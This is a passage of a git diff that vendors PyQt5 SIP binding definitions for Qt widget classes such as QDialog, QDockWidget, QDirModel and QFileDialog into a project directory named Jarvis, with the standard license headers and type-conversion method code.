WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDesktopWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QDesktopWidget(); + virtual ~QDesktopWidget(); + bool isVirtualDesktop() const; + int primaryScreen() const; + int screenNumber(const QWidget *widget = 0) const; + int screenNumber(const QPoint &) const; + QWidget *screen(int screen = -1); + int screenCount() const; + const QRect screenGeometry(int screen = -1) const; + const QRect screenGeometry(const QWidget *widget) const; + const QRect screenGeometry(const QPoint &point) const; + const QRect availableGeometry(int screen = -1) const; + const QRect availableGeometry(const QWidget *widget) const; + const QRect availableGeometry(const QPoint &point) const; + +signals: + void resized(int); + void workAreaResized(int); + void screenCountChanged(int); +%If (Qt_5_6_0 -) + void primaryScreenChanged(); +%End + +protected: + virtual void resizeEvent(QResizeEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdial.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdial.sip new file mode 100644 index 00000000..8d3a2138 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdial.sip @@ -0,0 +1,53 @@ +// qdial.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDial : QAbstractSlider +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDial(QWidget *parent /TransferThis/ = 0); + virtual ~QDial(); + bool wrapping() const; + int notchSize() const; + void setNotchTarget(double target); + qreal notchTarget() const; + bool notchesVisible() const; + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + +public slots: + void setNotchesVisible(bool visible); + void setWrapping(bool on); + +protected: + void initStyleOption(QStyleOptionSlider *option) const; + virtual bool event(QEvent *e); + virtual void resizeEvent(QResizeEvent *re); + virtual void paintEvent(QPaintEvent *pe); + virtual void mousePressEvent(QMouseEvent *me); + virtual void mouseReleaseEvent(QMouseEvent *me); + virtual void mouseMoveEvent(QMouseEvent *me); + virtual void sliderChange(QAbstractSlider::SliderChange change); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdialog.sip new file mode 100644 index 00000000..36efa73e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdialog.sip @@ -0,0 +1,98 @@ +// qdialog.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDialog : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QDialog(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QDialog(); + + enum DialogCode + { + Rejected, + Accepted, + }; + + int result() const; + virtual void setVisible(bool visible); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + void setSizeGripEnabled(bool); + bool isSizeGripEnabled() const; + void setModal(bool modal); + void setResult(int r); + virtual int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%MethodCode + // Transfer ownership back to Python (a modal dialog will probably have the + // main window as it's parent). This means the Qt dialog will be deleted when + // the Python wrapper is garbage collected. Although this is a little + // inconsistent, it saves having to code it explicitly to avoid the memory + // leak. + sipTransferBack(sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipRes = sipSelfWasArg ? sipCpp->QDialog::exec() + : sipCpp->exec(); + Py_END_ALLOW_THREADS +%End + +%If (Py_v3) + virtual int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%MethodCode + // Transfer ownership back to Python (a modal dialog will probably have the + // main window as it's parent). This means the Qt dialog will be deleted when + // the Python wrapper is garbage collected. Although this is a little + // inconsistent, it saves having to code it explicitly to avoid the memory + // leak. + sipTransferBack(sipSelf); + + Py_BEGIN_ALLOW_THREADS + sipRes = sipSelfWasArg ? sipCpp->QDialog::exec() + : sipCpp->exec(); + Py_END_ALLOW_THREADS +%End + +%End + +public slots: + virtual void done(int); + virtual void accept(); + virtual void reject(); + virtual void open(); + +signals: + void accepted(); + void finished(int result); + void rejected(); + +protected: + virtual void keyPressEvent(QKeyEvent *); + virtual void closeEvent(QCloseEvent *); + virtual void showEvent(QShowEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void contextMenuEvent(QContextMenuEvent *); + virtual bool eventFilter(QObject *, QEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdialogbuttonbox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdialogbuttonbox.sip new file mode 100644 index 00000000..972950d5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdialogbuttonbox.sip @@ -0,0 +1,118 @@ +// qdialogbuttonbox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDialogButtonBox : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + enum ButtonLayout + { + WinLayout, + MacLayout, + KdeLayout, + GnomeLayout, +%If (Qt_5_10_0 -) + AndroidLayout, +%End + }; + + enum ButtonRole + { + InvalidRole, + AcceptRole, + RejectRole, + DestructiveRole, + ActionRole, + HelpRole, + YesRole, + NoRole, + ResetRole, + ApplyRole, + }; + + enum StandardButton + { + NoButton, + Ok, + Save, + SaveAll, + Open, + Yes, + YesToAll, + No, + NoToAll, + Abort, + Retry, + Ignore, + Close, + Cancel, + Discard, + Help, + Apply, + Reset, + RestoreDefaults, + }; + + typedef QFlags StandardButtons; + QDialogButtonBox(QWidget *parent /TransferThis/ = 0); + QDialogButtonBox(Qt::Orientation orientation, QWidget *parent /TransferThis/ = 0); +%If (Qt_5_2_0 -) + QDialogButtonBox(QDialogButtonBox::StandardButtons buttons, QWidget *parent /TransferThis/ = 0); +%End +%If (Qt_5_2_0 -) + QDialogButtonBox(QDialogButtonBox::StandardButtons buttons, Qt::Orientation orientation, QWidget *parent /TransferThis/ = 0); +%End +%If (- Qt_5_2_0) + QDialogButtonBox(QFlags buttons, Qt::Orientation orientation = Qt::Horizontal, QWidget *parent /TransferThis/ = 0); +%End + virtual ~QDialogButtonBox(); + void setOrientation(Qt::Orientation orientation); + Qt::Orientation orientation() const; + void addButton(QAbstractButton *button /Transfer/, QDialogButtonBox::ButtonRole role); + QPushButton *addButton(const QString &text, QDialogButtonBox::ButtonRole role) /Transfer/; + QPushButton *addButton(QDialogButtonBox::StandardButton button) /Transfer/; + void removeButton(QAbstractButton *button /TransferBack/); + void clear(); + QList buttons() const; + QDialogButtonBox::ButtonRole buttonRole(QAbstractButton *button) const; + void setStandardButtons(QDialogButtonBox::StandardButtons buttons); + QDialogButtonBox::StandardButtons standardButtons() const; + QDialogButtonBox::StandardButton standardButton(QAbstractButton *button) const; + QPushButton *button(QDialogButtonBox::StandardButton which) const; + void setCenterButtons(bool center); + bool centerButtons() const; + +signals: + void accepted(); + void clicked(QAbstractButton *button); + void helpRequested(); + void rejected(); + +protected: + virtual void changeEvent(QEvent *event); + virtual bool event(QEvent *event); +}; + +QFlags operator|(QDialogButtonBox::StandardButton f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdirmodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdirmodel.sip new file mode 100644 index 00000000..f0ce66c3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdirmodel.sip @@ -0,0 +1,79 @@ +// qdirmodel.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDirModel : QAbstractItemModel +{ +%TypeHeaderCode +#include +%End + +public: + enum Roles + { + FileIconRole, + FilePathRole, + FileNameRole, + }; + + QDirModel(const QStringList &nameFilters, QDir::Filters filters, QDir::SortFlags sort, QObject *parent /TransferThis/ = 0); + explicit QDirModel(QObject *parent /TransferThis/ = 0); + virtual ~QDirModel(); + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex parent(const QModelIndex &child) const; + QObject *parent() const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + virtual QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const; + virtual bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::EditRole); + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; + virtual bool hasChildren(const QModelIndex &parent = QModelIndex()) const; + virtual Qt::ItemFlags flags(const QModelIndex &index) const; + virtual void sort(int column, Qt::SortOrder order = Qt::AscendingOrder); + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QModelIndexList &indexes) const /TransferBack/; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); + virtual Qt::DropActions supportedDropActions() const; + void setIconProvider(QFileIconProvider *provider /KeepReference/); + QFileIconProvider *iconProvider() const; + void setNameFilters(const QStringList &filters); + QStringList nameFilters() const; + void setFilter(QDir::Filters filters); + QDir::Filters filter() const; + void setSorting(QDir::SortFlags sort); + QDir::SortFlags sorting() const; + void setResolveSymlinks(bool enable); + bool resolveSymlinks() const; + void setReadOnly(bool enable); + bool isReadOnly() const; + void setLazyChildCount(bool enable); + bool lazyChildCount() const; + void refresh(const QModelIndex &parent = QModelIndex()); + QModelIndex index(const QString &path, int column = 0) const; + bool isDir(const QModelIndex &index) const; + QModelIndex mkdir(const QModelIndex &parent, const QString &name); + bool rmdir(const QModelIndex &index); + bool remove(const QModelIndex &index); + QString filePath(const QModelIndex &index) const; + QString fileName(const QModelIndex &index) const; + QIcon fileIcon(const QModelIndex &index) const; + QFileInfo fileInfo(const QModelIndex &index) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdockwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdockwidget.sip new file mode 100644 index 00000000..ef9e314b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdockwidget.sip @@ -0,0 +1,73 @@ +// qdockwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDockWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QDockWidget(const QString &title, QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + QDockWidget(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QDockWidget(); + QWidget *widget() const; + void setWidget(QWidget *widget /Transfer/); + + enum DockWidgetFeature + { + DockWidgetClosable, + DockWidgetMovable, + DockWidgetFloatable, + DockWidgetVerticalTitleBar, + AllDockWidgetFeatures, + NoDockWidgetFeatures, + }; + + typedef QFlags DockWidgetFeatures; + void setFeatures(QDockWidget::DockWidgetFeatures features); + QDockWidget::DockWidgetFeatures features() const; + void setFloating(bool floating); + bool isFloating() const; + void setAllowedAreas(Qt::DockWidgetAreas areas); + Qt::DockWidgetAreas allowedAreas() const; + bool isAreaAllowed(Qt::DockWidgetArea area) const; + QAction *toggleViewAction() const /Transfer/; + void setTitleBarWidget(QWidget *widget /Transfer/); + QWidget *titleBarWidget() const; + +signals: + void featuresChanged(QDockWidget::DockWidgetFeatures features); + void topLevelChanged(bool topLevel); + void allowedAreasChanged(Qt::DockWidgetAreas allowedAreas); + void dockLocationChanged(Qt::DockWidgetArea area); + void visibilityChanged(bool visible); + +protected: + void initStyleOption(QStyleOptionDockWidget *option) const; + virtual void changeEvent(QEvent *event); + virtual void closeEvent(QCloseEvent *event); + virtual void paintEvent(QPaintEvent *event); + virtual bool event(QEvent *event); +}; + +QFlags operator|(QDockWidget::DockWidgetFeature f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdrawutil.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdrawutil.sip new file mode 100644 index 00000000..5023f2d6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdrawutil.sip @@ -0,0 +1,39 @@ +// qdrawutil.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +void qDrawShadeLine(QPainter *p, int x1, int y1, int x2, int y2, const QPalette &pal, bool sunken = true, int lineWidth = 1, int midLineWidth = 0); +void qDrawShadeLine(QPainter *p, const QPoint &p1, const QPoint &p2, const QPalette &pal, bool sunken = true, int lineWidth = 1, int midLineWidth = 0); +void qDrawShadeRect(QPainter *p, int x, int y, int w, int h, const QPalette &pal, bool sunken = false, int lineWidth = 1, int midLineWidth = 0, const QBrush *fill = 0); +void qDrawShadeRect(QPainter *p, const QRect &r, const QPalette &pal, bool sunken = false, int lineWidth = 1, int midLineWidth = 0, const QBrush *fill = 0); +void qDrawShadePanel(QPainter *p, int x, int y, int w, int h, const QPalette &pal, bool sunken = false, int lineWidth = 1, const QBrush *fill = 0); +void qDrawShadePanel(QPainter *p, const QRect &r, const QPalette &pal, bool sunken = false, int lineWidth = 1, const QBrush *fill = 0); +void qDrawWinButton(QPainter *p, int x, int y, int w, int h, const QPalette &pal, bool sunken = false, const QBrush *fill = 0); +void qDrawWinButton(QPainter *p, const QRect &r, const QPalette &pal, bool sunken = false, const QBrush *fill = 0); +void qDrawWinPanel(QPainter *p, int x, int y, int w, int h, const QPalette &pal, bool sunken = false, const QBrush *fill = 0); +void qDrawWinPanel(QPainter *p, const QRect &r, const QPalette &pal, bool sunken = false, const QBrush *fill = 0); +void qDrawPlainRect(QPainter *p, int x, int y, int w, int h, const QColor &, int lineWidth = 1, const QBrush *fill = 0); +void qDrawPlainRect(QPainter *p, const QRect &r, const QColor &, int lineWidth = 1, const QBrush *fill = 0); +void qDrawBorderPixmap(QPainter *painter, const QRect &target, const QMargins &margins, const QPixmap &pixmap); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qerrormessage.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qerrormessage.sip new file mode 100644 index 00000000..f1f2e972 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qerrormessage.sip @@ -0,0 +1,41 @@ +// qerrormessage.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QErrorMessage : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + explicit QErrorMessage(QWidget *parent /TransferThis/ = 0); + virtual ~QErrorMessage(); + static QErrorMessage *qtHandler(); + +public slots: + void showMessage(const QString &message); + void showMessage(const QString &message, const QString &type); + +protected: + virtual void changeEvent(QEvent *e); + virtual void done(int); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfiledialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfiledialog.sip new file mode 100644 index 00000000..f65e0f6f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qfiledialog.sip @@ -0,0 +1,355 @@ +// qfiledialog.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFileDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + enum ViewMode + { + Detail, + List, + }; + + enum FileMode + { + AnyFile, + ExistingFile, + Directory, + ExistingFiles, + DirectoryOnly, + }; + + enum AcceptMode + { + AcceptOpen, + AcceptSave, + }; + + enum DialogLabel + { + LookIn, + FileName, + FileType, + Accept, + Reject, + }; + + enum Option + { + ShowDirsOnly, + DontResolveSymlinks, + DontConfirmOverwrite, + DontUseSheet, + DontUseNativeDialog, + ReadOnly, + HideNameFilterDetails, +%If (Qt_5_2_0 -) + DontUseCustomDirectoryIcons, +%End + }; + + typedef QFlags Options; + QFileDialog(QWidget *parent /TransferThis/, Qt::WindowFlags f); + QFileDialog(QWidget *parent /TransferThis/ = 0, const QString &caption = QString(), const QString &directory = QString(), const QString &filter = QString()); + virtual ~QFileDialog(); + void setDirectory(const QString &directory); + void setDirectory(const QDir &adirectory); + QDir directory() const; + void selectFile(const QString &filename); + QStringList selectedFiles() const; + void setViewMode(QFileDialog::ViewMode mode); + QFileDialog::ViewMode viewMode() const; + void setFileMode(QFileDialog::FileMode mode); + QFileDialog::FileMode fileMode() const; + void setAcceptMode(QFileDialog::AcceptMode mode); + QFileDialog::AcceptMode acceptMode() const; + void setDefaultSuffix(const QString &suffix); + QString defaultSuffix() const; + void setHistory(const QStringList &paths); + QStringList history() const; + void setItemDelegate(QAbstractItemDelegate *delegate /KeepReference/); + QAbstractItemDelegate *itemDelegate() const; + void setIconProvider(QFileIconProvider *provider /KeepReference/); + QFileIconProvider *iconProvider() const; + void setLabelText(QFileDialog::DialogLabel label, const QString &text); + QString labelText(QFileDialog::DialogLabel label) const; + +signals: + void currentChanged(const QString &path); + void directoryEntered(const QString &directory); + void filesSelected(const QStringList &files); + void filterSelected(const QString &filter); + void fileSelected(const QString &file); + +public: + static QString getExistingDirectory(QWidget *parent = 0, const QString &caption = QString(), const QString &directory = QString(), QFileDialog::Options options = QFileDialog::ShowDirsOnly) /ReleaseGIL/; +%If (Qt_5_2_0 -) + static QUrl getExistingDirectoryUrl(QWidget *parent = 0, const QString &caption = QString(), const QUrl &directory = QUrl(), QFileDialog::Options options = QFileDialog::ShowDirsOnly, const QStringList &supportedSchemes = QStringList()) /ReleaseGIL/; +%End + static SIP_PYTUPLE getOpenFileName(QWidget *parent = 0, const QString &caption = QString(), const QString &directory = QString(), const QString &filter = QString(), const QString &initialFilter = QString(), Options options = 0) /TypeHint="Tuple[QString, QString]", ReleaseGIL/; +%MethodCode + QString *name; + QString *filter = new QString(*a4); + + Py_BEGIN_ALLOW_THREADS + + name = new QString(QFileDialog::getOpenFileName(a0, *a1, *a2, *a3, filter, *a5)); + + Py_END_ALLOW_THREADS + + PyObject *name_obj = sipConvertFromNewType(name, sipType_QString, NULL); + PyObject *filter_obj = sipConvertFromNewType(filter, sipType_QString, NULL); + + if (name_obj && filter_obj) + sipRes = PyTuple_Pack(2, name_obj, filter_obj); + + Py_XDECREF(name_obj); + Py_XDECREF(filter_obj); +%End + + static SIP_PYTUPLE getOpenFileNames(QWidget *parent = 0, const QString &caption = QString(), const QString &directory = QString(), const QString &filter = QString(), const QString &initialFilter = QString(), Options options = 0) /TypeHint="Tuple[QStringList, QString]", ReleaseGIL/; +%MethodCode + QStringList *names; + QString *filter = new QString(*a4); + + Py_BEGIN_ALLOW_THREADS + + names = new QStringList(QFileDialog::getOpenFileNames(a0, *a1, *a2, *a3, filter, *a5)); + + Py_END_ALLOW_THREADS + + PyObject *names_obj = sipConvertFromNewType(names, sipType_QStringList, NULL); + PyObject *filter_obj = sipConvertFromNewType(filter, sipType_QString, NULL); + + if (names_obj && filter_obj) + sipRes = PyTuple_Pack(2, names_obj, filter_obj); + + Py_XDECREF(names_obj); + Py_XDECREF(filter_obj); +%End + + static SIP_PYTUPLE getSaveFileName(QWidget *parent = 0, const QString &caption = QString(), const QString &directory = QString(), const QString &filter = QString(), const QString &initialFilter = QString(), Options options = 0) /TypeHint="Tuple[QString, QString]", ReleaseGIL/; +%MethodCode + QString *name; + QString *filter = new QString(*a4); + + Py_BEGIN_ALLOW_THREADS + + name = new QString(QFileDialog::getSaveFileName(a0, *a1, *a2, *a3, filter, *a5)); + + Py_END_ALLOW_THREADS + + PyObject *name_obj = sipConvertFromNewType(name, sipType_QString, NULL); + PyObject *filter_obj = sipConvertFromNewType(filter, sipType_QString, NULL); + + if (name_obj && filter_obj) + sipRes = PyTuple_Pack(2, name_obj, filter_obj); + + Py_XDECREF(name_obj); + Py_XDECREF(filter_obj); +%End + +protected: + virtual void done(int result); + virtual void accept(); + virtual void changeEvent(QEvent *e); + +public: + void setSidebarUrls(const QList &urls); + QList sidebarUrls() const; + QByteArray saveState() const; + bool restoreState(const QByteArray &state); + void setProxyModel(QAbstractProxyModel *model /Transfer/); + QAbstractProxyModel *proxyModel() const; + void setNameFilter(const QString &filter); + void setNameFilters(const QStringList &filters); + QStringList nameFilters() const; + void selectNameFilter(const QString &filter); + QString selectedNameFilter() const; + QDir::Filters filter() const; + void setFilter(QDir::Filters filters); + void setOption(QFileDialog::Option option, bool on = true); + bool testOption(QFileDialog::Option option) const; + void setOptions(QFileDialog::Options options); + QFileDialog::Options options() const; + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + virtual void setVisible(bool visible); +%If (Qt_5_2_0 -) + void setDirectoryUrl(const QUrl &directory); +%End +%If (Qt_5_2_0 -) + QUrl directoryUrl() const; +%End +%If (Qt_5_2_0 -) + void selectUrl(const QUrl &url); +%End +%If (Qt_5_2_0 -) + QList selectedUrls() const; +%End +%If (Qt_5_2_0 -) + void setMimeTypeFilters(const QStringList &filters); +%End +%If (Qt_5_2_0 -) + QStringList mimeTypeFilters() const; +%End +%If (Qt_5_2_0 -) + void selectMimeTypeFilter(const QString &filter); +%End + +signals: +%If (Qt_5_2_0 -) + void urlSelected(const QUrl &url); +%End +%If (Qt_5_2_0 -) + void urlsSelected(const QList &urls); +%End +%If (Qt_5_2_0 -) + void currentUrlChanged(const QUrl &url); +%End +%If (Qt_5_2_0 -) + void directoryUrlEntered(const QUrl &directory); +%End + +public: +%If (Qt_5_2_0 -) + static SIP_PYTUPLE getOpenFileUrl(QWidget *parent = 0, const QString &caption = QString(), const QUrl &directory = QUrl(), const QString &filter = QString(), const QString &initialFilter = QString(), Options options = 0, const QStringList &supportedSchemes = QStringList()) /TypeHint="Tuple[QUrl, QString]", ReleaseGIL/; +%MethodCode + QUrl *url; + QString *filter = new QString(*a4); + + Py_BEGIN_ALLOW_THREADS + + url = new QUrl(QFileDialog::getOpenFileUrl(a0, *a1, *a2, *a3, filter, *a5, *a6)); + + Py_END_ALLOW_THREADS + + PyObject *url_obj = sipConvertFromNewType(url, sipType_QUrl, NULL); + PyObject *filter_obj = sipConvertFromNewType(filter, sipType_QString, NULL); + + if (url_obj && filter_obj) + sipRes = PyTuple_Pack(2, url_obj, filter_obj); + + Py_XDECREF(url_obj); + Py_XDECREF(filter_obj); +%End + +%End +%If (Qt_5_2_0 -) + static SIP_PYTUPLE getOpenFileUrls(QWidget *parent = 0, const QString &caption = QString(), const QUrl &directory = QUrl(), const QString &filter = QString(), const QString &initialFilter = QString(), Options options = 0, const QStringList &supportedSchemes = QStringList()) /TypeHint="Tuple[List[QUrl], QString]", ReleaseGIL/; +%MethodCode + QList url_list; + QString *filter = new QString(*a4); + + Py_BEGIN_ALLOW_THREADS + + url_list = QFileDialog::getOpenFileUrls(a0, *a1, *a2, *a3, filter, *a5, *a6); + + Py_END_ALLOW_THREADS + + PyObject *url_list_obj = PyList_New(url_list.size()); + + if (url_list_obj) + { + for (int i = 0; i < url_list.size(); ++i) + { + QUrl *url = new QUrl(url_list.at(i)); + PyObject *url_obj = sipConvertFromNewType(url, sipType_QUrl, NULL); + + if (!url_obj) + { + delete url; + Py_DECREF(url_list_obj); + url_list_obj = 0; + break; + } + + PyList_SetItem(url_list_obj, i, url_obj); + } + } + + PyObject *filter_obj = sipConvertFromNewType(filter, sipType_QString, NULL); + + if (url_list_obj && filter_obj) + sipRes = PyTuple_Pack(2, url_list_obj, filter_obj); + + Py_XDECREF(url_list_obj); + Py_XDECREF(filter_obj); +%End + +%End +%If (Qt_5_2_0 -) + static SIP_PYTUPLE getSaveFileUrl(QWidget *parent = 0, const QString &caption = QString(), const QUrl &directory = QUrl(), const QString &filter = QString(), const QString &initialFilter = QString(), Options options = 0, const QStringList &supportedSchemes = QStringList()) /TypeHint="Tuple[QUrl, QString]", ReleaseGIL/; +%MethodCode + QUrl *url; + QString *filter = new QString(*a4); + + Py_BEGIN_ALLOW_THREADS + + url = new QUrl(QFileDialog::getSaveFileUrl(a0, *a1, *a2, *a3, filter, *a5, *a6)); + + Py_END_ALLOW_THREADS + + PyObject *url_obj = sipConvertFromNewType(url, sipType_QUrl, NULL); + PyObject *filter_obj = sipConvertFromNewType(filter, sipType_QString, NULL); + + if (url_obj && filter_obj) + sipRes = PyTuple_Pack(2, url_obj, filter_obj); + + Py_XDECREF(url_obj); + Py_XDECREF(filter_obj); +%End + +%End +%If (Qt_5_6_0 -) + void setSupportedSchemes(const QStringList &schemes); +%End +%If (Qt_5_6_0 -) + QStringList 